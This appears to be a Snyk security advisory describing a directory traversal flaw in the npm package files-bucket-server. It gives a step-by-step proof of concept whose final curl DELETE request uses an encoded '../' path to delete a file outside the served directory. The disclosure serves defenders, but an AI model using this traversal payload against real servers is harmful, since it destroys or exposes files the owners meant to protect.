Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for files-bucket-server
.
Affected versions of this package are vulnerable to Directory Traversal where an attacker can traverse the file system and access files outside of the intended directory.
Install the files-bucket-server package: npm install files-bucket-server
Create a new directory: mkdir private-files
Add a file to the directory and also create a file outside in the root directory:
echo "This is a generic file, hello world" > private-files/hello.txt
echo "This is a secret file" > secret.txt
var FileBucketServer = require('files-bucket-server'); var fBServer = new FileBucketServer('./private-files', { logsEnabled: true });
// Only allow local requests fBServer.onlyAllowLocalRequests();
// Start server fBServer.start().then(function (serverData) { console.log('Server is up at port: '+serverData.port); });
Run the server: node server.js
Access a file inside the directory to ensure everything is working as expected: curl "http://localhost:1024/files/hello.txt"
Now, attempt to delete a file outside this directory using the RESTful API: curl -X DELETE "http://localhost:1024/api/files/%2e%2e%2fsecret.txt"
The file secret.txt will be deleted, proving the path traversal vulnerability.